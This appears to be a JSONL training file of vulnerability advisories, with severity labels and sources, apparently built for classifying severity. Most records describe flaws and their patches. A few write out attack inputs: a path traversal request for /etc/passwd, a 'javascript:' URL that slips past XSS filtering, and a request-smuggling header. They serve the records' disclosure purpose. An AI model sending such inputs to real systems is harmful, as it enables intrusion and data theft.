-{"id": "b7968f3842691f69169c", "text": "Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection", "text_raw": "Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-10-10", "split": "train"}
-{"id": "21959727dd70deea9652", "text": "omniauth-facebook Cross-Site Request Forgery vulnerability\n\nThe omniauth-facebook gem 1.4.1 before 1.5.0 does not properly store the session parameter, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks via the state parameter.", "text_raw": "omniauth-facebook Cross-Site Request Forgery vulnerability\n\n[Severity: MEDIUM]\n\nThe omniauth-facebook gem 1.4.1 before 1.5.0 does not properly store the session parameter, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks via the state parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "df2c096feed3a97b9778", "text": "Teradek Cube 7.3.6 (snapshot.cgi) Stream Disclosure", "text_raw": "Teradek Cube 7.3.6 (snapshot.cgi) Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-05-21", "split": "train"}
-{"id": "6a1ba8cdfc6017875e9e", "text": "Query Binding Exploitation\n\n### Description\n\nLaravel versions <6.20.12, <7.30.3 & <8.22.1 contain a query binding exploitation.\n\nIf a request is crafted where a field that is normally a non-array value is an array, and that input is not validated or cast to its expected type before being passed to the query builder, an unexpected number of query bindings can be added to the query. In some situations, this will simply lead to no results being returned by the query builder; however, it is possible certain queries could be affected in a way that causes the query to return unexpected results.\n\nThis vulnerability was discovered by Tim Groenevelt (tim.g@foodbyus.com).\n\n### References\n\n- https://github.com/laravel/framework/pull/35865", "text_raw": "Query Binding Exploitation\n\n[Severity: HIGH]\n\n### Description\n\nLaravel versions <6.20.12, <7.30.3 & <8.22.1 contain a query binding exploitation.\n\nIf a request is crafted where a field that is normally a non-array value is an array, and that input is not validated or cast to its expected type before being passed to the query builder, an unexpected number of query bindings can be added to the query. In some situations, this will simply lead to no results being returned by the query builder; however, it is possible certain queries could be affected in a way that causes the query to return unexpected results.\n\nThis vulnerability was discovered by Tim Groenevelt (tim.g@foodbyus.com).\n\n### References\n\n- https://github.com/laravel/framework/pull/35865", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-19", "split": "train"}
-{"id": "bb85bdf262081c3d2f05", "text": "Bitcoin Inventory Out-of-Memory Denial-of-Service Attack (CVE-2018-17145)\n\nThere was an easily exploitable uncontrolled memory resource consumption denial-of-service vulnerability that existed in the peer-to-peer network code of three implementations of Bitcoin and several alternative chains.\n\nFor more details please see:\nhttps://invdos.net/\n\nFor the paper:\nhttps://invdos.net/paper/CVE-2018-17145.pdf", "text_raw": "Bitcoin Inventory Out-of-Memory Denial-of-Service Attack (CVE-2018-17145)\n\n[Severity: HIGH]\n\nThere was an easily exploitable uncontrolled memory resource consumption denial-of-service vulnerability that existed in the peer-to-peer network code of three implementations of Bitcoin and several alternative chains.\n\nFor more details please see:\nhttps://invdos.net/\n\nFor the paper:\nhttps://invdos.net/paper/CVE-2018-17145.pdf", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-10", "split": "train"}
-{"id": "c1fd71ad251b943e7258", "text": "HTTP Request Smuggling: Invalid Transfer-Encoding in Waitress\n\n### Impact\n\nWaitress would parse the `Transfer-Encoding` header and only look for a single string value, if that value was not `chunked` it would fall through and use the `Content-Length` header instead.\n\nAccording to the HTTP standard `Transfer-Encoding` should be a comma separated list, with the inner-most encoding first, followed by any further transfer codings, ending with `chunked`.\n\nRequests sent with:\n\n```\nTransfer-Encoding: gzip, chunked\n```\n\nWould incorrectly get ignored, and the request would use a `Content-Length` header instead to determine the body size of the HTTP message.\n\nThis could allow for Waitress to treat a single request as multiple requests in the case of HTTP pipelining.\n\n### Patches\n\nThis issue is fixed in Waitress 1.4.0. This brings a range of changes to harden Waitress against potential HTTP request confusions, and may change the behaviour of Waitress behind non-conformist proxies.\n\nWaitress will now return a 501 Not Implemented error if the `Transfer-Encoding` is not `chunked` or contains multiple elements. Waitress does not support any transfer codings such as `gzip` or `deflate`.\n\nThe Pylons Project recommends upgrading as soon as possible, while validating that the changes in Waitress don&#39;t cause any changes in behavior.\n\n### Workarounds\n\nVarious reverse proxies may have protections against sending potentially bad HTTP requests to the backend, and or hardening against potential issues like this. If the reverse proxy doesn&#39;t use HTTP/1.1 for connecting to the backend issues are also somewhat mitigated, as HTTP pipelining does not exist in HTTP/1.0 and Waitress will close the connection after every single request (unless the Keep Alive header is explicitly sent... so this is not a fool proof security method).\n\n### Issues/more security issues:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "text_raw": "HTTP Request Smuggling: Invalid Transfer-Encoding in Waitress\n\n[Severity: MEDIUM]\n\n### Impact\n\nWaitress would parse the `Transfer-Encoding` header and only look for a single string value, if that value was not `chunked` it would fall through and use the `Content-Length` header instead.\n\nAccording to the HTTP standard `Transfer-Encoding` should be a comma separated list, with the inner-most encoding first, followed by any further transfer codings, ending with `chunked`.\n\nRequests sent with:\n\n```\nTransfer-Encoding: gzip, chunked\n```\n\nWould incorrectly get ignored, and the request would use a `Content-Length` header instead to determine the body size of the HTTP message.\n\nThis could allow for Waitress to treat a single request as multiple requests in the case of HTTP pipelining.\n\n### Patches\n\nThis issue is fixed in Waitress 1.4.0. This brings a range of changes to harden Waitress against potential HTTP request confusions, and may change the behaviour of Waitress behind non-conformist proxies. \n\nWaitress will now return a 501 Not Implemented error if the `Transfer-Encoding` is not `chunked` or contains multiple elements. Waitress does not support any transfer codings such as `gzip` or `deflate`.\n\nThe Pylons Project recommends upgrading as soon as possible, while validating that the changes in Waitress don&#39;t cause any changes in behavior.\n\n### Workarounds\n\nVarious reverse proxies may have protections against sending potentially bad HTTP requests to the backend, and or hardening against potential issues like this. If the reverse proxy doesn&#39;t use HTTP/1.1 for connecting to the backend issues are also somewhat mitigated, as HTTP pipelining does not exist in HTTP/1.0 and Waitress will close the connection after every single request (unless the Keep Alive header is explicitly sent... so this is not a fool proof security method).\n\n### Issues/more security issues:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-20", "split": "train"}
-{"id": "5a71250815cb036eaf49", "text": "Memory Safety Issue when using patch or merge on state and assign the result back to state\n\n### Impact\n\nThis vulnerability is a memory safety Issue when using [`patch`](https://www.tremor.rs/docs/tremor-script/index#patch) or [`merge`](https://www.tremor.rs/docs/tremor-script/index#merge) on `state` and assign the result back to `state`.\nIn this case affected versions of Tremor and the [tremor-script crate](https://crates.io/crates/tremor-script) maintains references to memory that might have been freed already. And these memory regions can be accessed by retrieving the `state`, e.g. send it over TCP or HTTP. This requires the Tremor server (or any other program using tremor-script) to execute a tremor-script script that uses the mentioned language construct.\n\n#### Details\n\nIf affects the following two tremor-script language constructs:\n\n* A [Merge](https://www.tremor.rs/docs/tremor-script/index#merge) where we assign the result back to the target expression\n  and the expression to be merged needs to reference the `event`:\n\n```\nlet state = merge state of event end;\n```\n\n* A [Patch](https://www.tremor.rs/docs/tremor-script/index#patch) where we assign the result back to the target expression\n  and the patch operations used need to reference the `event`:\n\n```\nlet state = patch state of insert event.key => event.value end;\n```\n\nFor constructs like this (it does not matter what it references in the expression to be merged or the patch operations) an optimization\nwas applied to manipulate the target value in-place, instead of cloning it.\n\nOur `Value` struct, which underpins all event data in `tremor-script`, is representing strings as borrowed `beef::Cow<'lifetime, str>`, \nthat reference the raw data `Vec<u8>` the event is based upon. We keep this raw byte-array next to the `Value` structure inside our `Event` as a self-referential struct,\nso we make sure that the structured `Value` and its references are valid across its whole lifetime.\n\nThe optimization was considered safe as long as it was only possible to merge or patch `event` data or static data.\nWhen `state` was introduced to `tremor-script` (in version 0.7.3) a new possibility to keep `Value` data around for longer than the lifetime of an event emerged.\nIf `event` data is merged or patched into `state` without cloning it first, it can still reference keys or values from\nthe previous event, which will now be invalid. This allows access to those already freed regions of memory and to get their content out over the wire.\n\n### Patches\n\nThe issue has been patched in https://crates.io/crates/tremor-script/0.11.6 and https://github.com/tremor-rs/tremor-runtime/releases/tag/v0.11.6 via commit [1a2efcd](https://github.com/tremor-rs/tremor-runtime/commit/1a2efcdbe68e5e7fd0a05836ac32d2cde78a0b2e) by removing the optimization\nand always clone the target expression of a [Merge](https://www.tremor.rs/docs/tremor-script/index#merge) or [Patch](https://www.tremor.rs/docs/tremor-script/index#patch.\n\n### Workarounds\n\nIf an upgrade is not possible, a possible workaround is to avoid the optimization\nby introducing a temporary variable and not immediately reassigning to `state`:\n\n```\nlet tmp = merge state of event end;\nlet state = tmp\n```\n\n### References\n\nThe actual fix is applied in this PR: https://github.com/tremor-rs/tremor-runtime/pull/1217\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue on our repository [tremor-rs/tremor-runtime](https://github.com/tremor-rs/tremor-runtime)\n* Please join our discord https://chat.tremor.rs and reach out to the team.", "text_raw": "Memory Safety Issue when using patch or merge on state and assign the result back to state\n\n[Severity: MEDIUM]\n\n\n### Impact\n\nThis vulnerability is a memory safety Issue when using [`patch`](https://www.tremor.rs/docs/tremor-script/index#patch) or [`merge`](https://www.tremor.rs/docs/tremor-script/index#merge) on `state` and assign the result back to `state`.\nIn this case affected versions of Tremor and the [tremor-script crate](https://crates.io/crates/tremor-script) maintains references to memory that might have been freed already. And these memory regions can be accessed by retrieving the `state`, e.g. send it over TCP or HTTP. This requires the Tremor server (or any other program using tremor-script) to execute a tremor-script script that uses the mentioned language construct.\n\n#### Details\n\nIf affects the following two tremor-script language constructs:\n\n* A [Merge](https://www.tremor.rs/docs/tremor-script/index#merge) where we assign the result back to the target expression\n  and the expression to be merged needs to reference the `event`:\n\n```\nlet state = merge state of event end;\n```\n\n* A [Patch](https://www.tremor.rs/docs/tremor-script/index#patch) where we assign the result back to the target expression\n  and the patch operations used need to reference the `event`:\n\n```\nlet state = patch state of insert event.key => event.value end;\n```\n\nFor constructs like this (it does not matter what it references in the expression to be merged or the patch operations) an optimization\nwas applied to manipulate the target value in-place, instead of cloning it.\n\nOur `Value` struct, which underpins all event data in `tremor-script`, is representing strings as borrowed `beef::Cow<'lifetime, str>`, \nthat reference the raw data `Vec<u8>` the event is based upon. We keep this raw byte-array next to the `Value` structure inside our `Event` as a self-referential struct,\nso we make sure that the structured `Value` and its references are valid across its whole lifetime.\n\nThe optimization was considered safe as long as it was only possible to merge or patch `event` data or static data.\nWhen `state` was introduced to `tremor-script` (in version 0.7.3) a new possibility to keep `Value` data around for longer than the lifetime of an event emerged.\nIf `event` data is merged or patched into `state` without cloning it first, it can still reference keys or values from\nthe previous event, which will now be invalid. This allows access to those already freed regions of memory and to get their content out over the wire.\n\n### Patches\n\nThe issue has been patched in https://crates.io/crates/tremor-script/0.11.6 and https://github.com/tremor-rs/tremor-runtime/releases/tag/v0.11.6 via commit [1a2efcd](https://github.com/tremor-rs/tremor-runtime/commit/1a2efcdbe68e5e7fd0a05836ac32d2cde78a0b2e) by removing the optimization\nand always clone the target expression of a [Merge](https://www.tremor.rs/docs/tremor-script/index#merge) or [Patch](https://www.tremor.rs/docs/tremor-script/index#patch.\n\n### Workarounds\n\nIf an upgrade is not possible, a possible workaround is to avoid the optimization\nby introducing a temporary variable and not immediately reassigning to `state`:\n\n```\nlet tmp = merge state of event end;\nlet state = tmp\n```\n\n### References\n\nThe actual fix is applied in this PR: https://github.com/tremor-rs/tremor-runtime/pull/1217\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue on our repository [tremor-rs/tremor-runtime](https://github.com/tremor-rs/tremor-runtime)\n* Please join our discord https://chat.tremor.rs and reach out to the team.\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "418cc79cb9542fd78ef5", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "f4d414e11050578d9bd8", "text": "Origin Validation Error in Magento 2\n\nAn issue was discovered in the CardGate Payments plugin through 2.0.30 for Magento 2. Lack of origin authentication in the IPN callback processing function in Controller/Payment/Callback.php allows an attacker to remotely replace critical plugin settings (merchant ID, secret key, etc.) and therefore bypass the payment process (e.g., spoof an order status by manually sending an IPN callback request with a valid signature but without real payment) and/or receive all of the subsequent payments.", "text_raw": "Origin Validation Error in Magento 2\n\n[Severity: HIGH]\n\nAn issue was discovered in the CardGate Payments plugin through 2.0.30 for Magento 2. Lack of origin authentication in the IPN callback processing function in Controller/Payment/Callback.php allows an attacker to remotely replace critical plugin settings (merchant ID, secret key, etc.) and therefore bypass the payment process (e.g., spoof an order status by manually sending an IPN callback request with a valid signature but without real payment) and/or receive all of the subsequent payments.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "6d1b0fcec991ff71f663", "text": "Cache Manipulation Attack in Apache Traffic Control\n\nWhen ORT (now via atstccfg) generates ip_allow.config files in Apache Traffic Control 3.0.0 to 3.1.0 and 4.0.0 to 4.1.0, those files include permissions that allow bad actors to push arbitrary content into and remove arbitrary content from CDN cache servers. Additionally, these permissions are potentially extended to IP addresses outside the desired range, resulting in them being granted to clients possibly outside the CDN arcitechture.", "text_raw": "Cache Manipulation Attack in Apache Traffic Control\n\n[Severity: MEDIUM]\n\nWhen ORT (now via atstccfg) generates ip_allow.config files in Apache Traffic Control 3.0.0 to 3.1.0 and 4.0.0 to 4.1.0, those files include permissions that allow bad actors to push arbitrary content into and remove arbitrary content from CDN cache servers. Additionally, these permissions are potentially extended to IP addresses outside the desired range, resulting in them being granted to clients possibly outside the CDN arcitechture.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "46cca08a4cd3c89591e8", "text": "Privilege Escalation in Channelmgnt plug-in for Sopel\n\n### Impact\nMalicious users are able to op/voice and take over a channel\n\n### Patches\nOn version 1.0.3\n\n### Workarounds\nDisable channelmgnt\n\n### References\nhttps://phab.bots.miraheze.wiki/T117\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [staff(at)mirahezebots(dot)org](mailto:staff@mirahezebots.org)", "text_raw": "Privilege Escalation in Channelmgnt plug-in for Sopel\n\n[Severity: MEDIUM]\n\n### Impact\nMalicious users are able to op/voice and take over a channel\n\n### Patches\nOn version 1.0.3\n\n### Workarounds\nDisable channelmgnt\n\n### References\nhttps://phab.bots.miraheze.wiki/T117\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [staff(at)mirahezebots(dot)org](mailto:staff@mirahezebots.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-13", "split": "train"}
-{"id": "41fc8d742bbd65e30438", "text": "Downloads Resources over HTTP in react-native-baidu-voice-synthesizer\n\nAffected versions of `react-native-baidu-voice-synthesizer` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `react-native-baidu-voice-synthesizer`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in react-native-baidu-voice-synthesizer\n\n[Severity: HIGH]\n\nAffected versions of `react-native-baidu-voice-synthesizer` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `react-native-baidu-voice-synthesizer`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "a0c3e42728de2a1657a4", "text": "ManageEngine ServiceDesk Plus 8.0 Multiple Stored XSS Vulnerabilities", "text_raw": "ManageEngine ServiceDesk Plus 8.0 Multiple Stored XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-08-23", "split": "train"}
-{"id": "01602a377d54361f6d60", "text": "Microsoft Internet Explorer 11 Tree::Notify_InvalidateDisplay Null Pointer Dereference", "text_raw": "Microsoft Internet Explorer 11 Tree::Notify_InvalidateDisplay Null Pointer Dereference\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2018-11-03", "split": "train"}
-{"id": "187fb5080f89b6e97a0e", "text": "Directory Traversal in lab6drewfusbyu\n\nAffected versions of `lab6drewfusbyu` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in lab6drewfusbyu\n\n[Severity: HIGH]\n\nAffected versions of `lab6drewfusbyu` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "5064c9aafa5fc3ffd73d", "text": "Spring Framework Cross Site Tracing (XST)\n\nSpring Framework (versions 5.0.x prior to 5.0.7, versions 4.3.x prior to 4.3.18, and older unsupported versions) allow web applications to change the HTTP request method to any HTTP method (including TRACE) using the HiddenHttpMethodFilter in Spring MVC. If an application has a pre-existing XSS vulnerability, a malicious user (or attacker) can use this filter to escalate to an XST (Cross Site Tracing) attack.", "text_raw": "Spring Framework Cross Site Tracing (XST)\n\n[Severity: MEDIUM]\n\nSpring Framework (versions 5.0.x prior to 5.0.7, versions 4.3.x prior to 4.3.18, and older unsupported versions) allow web applications to change the HTTP request method to any HTTP method (including TRACE) using the HiddenHttpMethodFilter in Spring MVC. If an application has a pre-existing XSS vulnerability, a malicious user (or attacker) can use this filter to escalate to an XST (Cross Site Tracing) attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "7fc1e9b3f15a09e59f7e", "text": "Installation information leak in Eclipse Jetty\n\nIn Eclipse Jetty version 7.x, 8.x, 9.2.27 and older, 9.3.26 and older, and 9.4.16 and older, the server running on any OS and Jetty version combination will reveal the configured fully qualified directory base resource location on the output of the 404 error for not finding a Context that matches the requested path. The default server behavior on jetty-distribution and jetty-home will include at the end of the Handler tree a DefaultHandler, which is responsible for reporting this 404 error, it presents the various configured contexts as HTML for users to click through to. This produced HTML includes output that contains the configured fully qualified directory base resource location for each context.", "text_raw": "Installation information leak in Eclipse Jetty\n\n[Severity: MEDIUM]\n\nIn Eclipse Jetty version 7.x, 8.x, 9.2.27 and older, 9.3.26 and older, and 9.4.16 and older, the server running on any OS and Jetty version combination will reveal the configured fully qualified directory base resource location on the output of the 404 error for not finding a Context that matches the requested path. The default server behavior on jetty-distribution and jetty-home will include at the end of the Handler tree a DefaultHandler, which is responsible for reporting this 404 error, it presents the various configured contexts as HTML for users to click through to. This produced HTML includes output that contains the configured fully qualified directory base resource location for each context.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-23", "split": "train"}
-{"id": "a2c250ff578e53c7b27b", "text": "ASP.NET Core Denial of Service Vulnerability\n\n# Withdrawn\n\nThis advisory was initially published and mapped incorrectly to nuget `Microsoft.NETCore.App.Ref`. We later reanalyzed this advisory and found it does not have a direct mapping to a NuGet package.  Thus we have withdrawn this advisory.\n\nThe underlying ASP.NET Core Denial of Service Vulnerability and CVE-2021-31957 remain legitimate.\n\n# Description.\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 5.0 and .NET Core 3.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA denial of service vulnerability exists when ASP.NET Core improperly handles client disconnect. An attacker who successfully exploited this vulnerability could cause a denial of service against an ASP.NET Core web application. The vulnerability can be exploited remotely, without authentication.\n\n### Patches\n\n* If you're using .NET 5.0, you should download and install Runtime 5.0.7 or SDK 5.0.204 (for Visual Studio 2019 v16.8) or SDK 5.0.301 (for Visual Studio 2019 16.10) from https://dotnet.microsoft.com/download/dotnet-core/5.0.\n\n* If you're using .NET Core 3.1, you should download and install Runtime 3.1.16 or SDK 3.1.116 (for Visual Studio 2019 v16.4) or 3.1.410 (for Visual Studio 2019 v16.5 or later) from https://dotnet.microsoft.com/download/dotnet-core/3.1.\n\n#### Other Details\n\n- Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/188\n- An Issue for this can be found at https://github.com/dotnet/aspnetcore/issues/33369\n- MSRC details for this can be found at https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31957", "text_raw": "ASP.NET Core Denial of Service Vulnerability\n\n[Severity: HIGH]\n\n# Withdrawn\n\nThis advisory was initially published and mapped incorrectly to nuget `Microsoft.NETCore.App.Ref`. We later reanalyzed this advisory and found it does not have a direct mapping to a NuGet package.  Thus we have withdrawn this advisory.\n\nThe underlying ASP.NET Core Denial of Service Vulnerability and CVE-2021-31957 remain legitimate.\n\n# Description.\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 5.0 and .NET Core 3.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA denial of service vulnerability exists when ASP.NET Core improperly handles client disconnect. An attacker who successfully exploited this vulnerability could cause a denial of service against an ASP.NET Core web application. The vulnerability can be exploited remotely, without authentication.\n\n\n### Patches\n\n* If you're using .NET 5.0, you should download and install Runtime 5.0.7 or SDK 5.0.204 (for Visual Studio 2019 v16.8) or SDK 5.0.301 (for Visual Studio 2019 16.10) from https://dotnet.microsoft.com/download/dotnet-core/5.0.\n\n* If you're using .NET Core 3.1, you should download and install Runtime 3.1.16 or SDK 3.1.116 (for Visual Studio 2019 v16.4) or 3.1.410 (for Visual Studio 2019 v16.5 or later) from https://dotnet.microsoft.com/download/dotnet-core/3.1.\n\n\n\n#### Other Details\n\n- Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/188\n- An Issue for this can be found at https://github.com/dotnet/aspnetcore/issues/33369\n- MSRC details for this can be found at https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31957\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "1994d88009d5c21707de", "text": "Manage Engine Applications Manager 12 Multiple Vulnerabilities", "text_raw": "Manage Engine Applications Manager 12 Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-01-13", "split": "train"}
-{"id": "9c0a76498d61ca1f6069", "text": "Cross-site Scripting in video.js\n\nThis affects the package video.js before 7.14.3.\n The src attribute of track tag allows to bypass HTML escaping and execute arbitrary code.", "text_raw": "Cross-site Scripting in video.js\n\n[Severity: MEDIUM]\n\nThis affects the package video.js before 7.14.3.\n The src attribute of track tag allows to bypass HTML escaping and execute arbitrary code.\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-10", "split": "train"}
-{"id": "fc98c07db6532aabb851", "text": "gopkg.in/macaron.v1 Open Redirect vulnerability\n\nmacaron before 1.3.7 has an open redirect in the static handler. Due to improper request santization, a specifically crafted URL can cause the static file handler to redirect to an attacker chosen URL, allowing for open redirect attacks.", "text_raw": "gopkg.in/macaron.v1 Open Redirect vulnerability\n\n[Severity: MEDIUM]\n\nmacaron before 1.3.7 has an open redirect in the static handler. Due to improper request santization, a specifically crafted URL can cause the static file handler to redirect to an attacker chosen URL, allowing for open redirect attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "b44a525f143091205531", "text": "Out-of-bounds Write in Chakra\n\nChakra Scripting Engine Memory Corruption Vulnerability", "text_raw": "Out-of-bounds Write in Chakra\n\n[Severity: HIGH]\n\nChakra Scripting Engine Memory Corruption Vulnerability", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "a43831c872f700fdc1ac", "text": "VMware vCenter Server Remote Code Execution Vulnerability\n\nAffected: VMware vCenter Server\n\nVMware vCenter Server vSphere Client contains a remote code execution vulnerability in a vCenter Server plugin which allows an attacker with network access to port 443 to execute commands with unrestricted privileges on the underlying operating system.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-23\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "VMware vCenter Server Remote Code Execution Vulnerability\n\nAffected: VMware vCenter Server\n\nVMware vCenter Server vSphere Client contains a remote code execution vulnerability in a vCenter Server plugin which allows an attacker with network access to port 443 to execute commands with unrestricted privileges on the underlying operating system.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-23\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "0e2d6a0f620ba7dc00a9", "text": "Traefik has an Improper Certificate Handling issue\n\nconfigurationwatcher.go in Traefik 2.x before 2.1.4 and TraefikEE 2.0.0 mishandles the purging of certificate contents from providers before logging.", "text_raw": "Traefik has an Improper Certificate Handling issue\n\n[Severity: MEDIUM]\n\nconfigurationwatcher.go in Traefik 2.x before 2.1.4 and TraefikEE 2.0.0 mishandles the purging of certificate contents from providers before logging.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "2154f41f322f2f6762d1", "text": "Withdrawn\n\nWithdrawn: duplicate of GHSA-2m39-62fm-q8r3", "text_raw": "Withdrawn\n\n[Severity: HIGH]\n\nWithdrawn: duplicate of GHSA-2m39-62fm-q8r3", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-03", "split": "train"}
-{"id": "0112384268874e742a8f", "text": "Cross-site Scripting in remarkable\n\nIn remarkable 1.7.1, lib/parser_inline.js mishandles URL filtering, which allows attackers to trigger XSS via unprintable characters, as demonstrated by a `\\x0ejavascript:` URL.", "text_raw": "Cross-site Scripting in remarkable\n\n[Severity: MEDIUM]\n\nIn remarkable 1.7.1, lib/parser_inline.js mishandles URL filtering, which allows attackers to trigger XSS via unprintable characters, as demonstrated by a `\\x0ejavascript:` URL.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "eb5a17d52e30a0e7b892", "text": "Web Console (Ruby gem) contains whitelisted_ips bypass\n\nrequest.rb in Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request.", "text_raw": "Web Console (Ruby gem) contains whitelisted_ips bypass\n\n[Severity: MEDIUM]\n\nrequest.rb in Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "2a9dcebe14074078d529", "text": "AIMP 2.51 build 330 (ID3v1/ID3v2 Tag) Remote Stack Buffer Overflow PoC (SEH)", "text_raw": "AIMP 2.51 build 330 (ID3v1/ID3v2 Tag) Remote Stack Buffer Overflow PoC (SEH)\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2009-05-29", "split": "train"}
-{"id": "d7bf528f9524f6a0923e", "text": "Missing warning can lead to unauthenticated admin access in SilverStripe\n\nIn SilverStripe through 4.3.3, a missing warning about leaving install.php in a public webroot can lead to unauthenticated admin access.", "text_raw": "Missing warning can lead to unauthenticated admin access in SilverStripe\n\n[Severity: CRITICAL]\n\nIn SilverStripe through 4.3.3, a missing warning about leaving install.php in a public webroot can lead to unauthenticated admin access.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
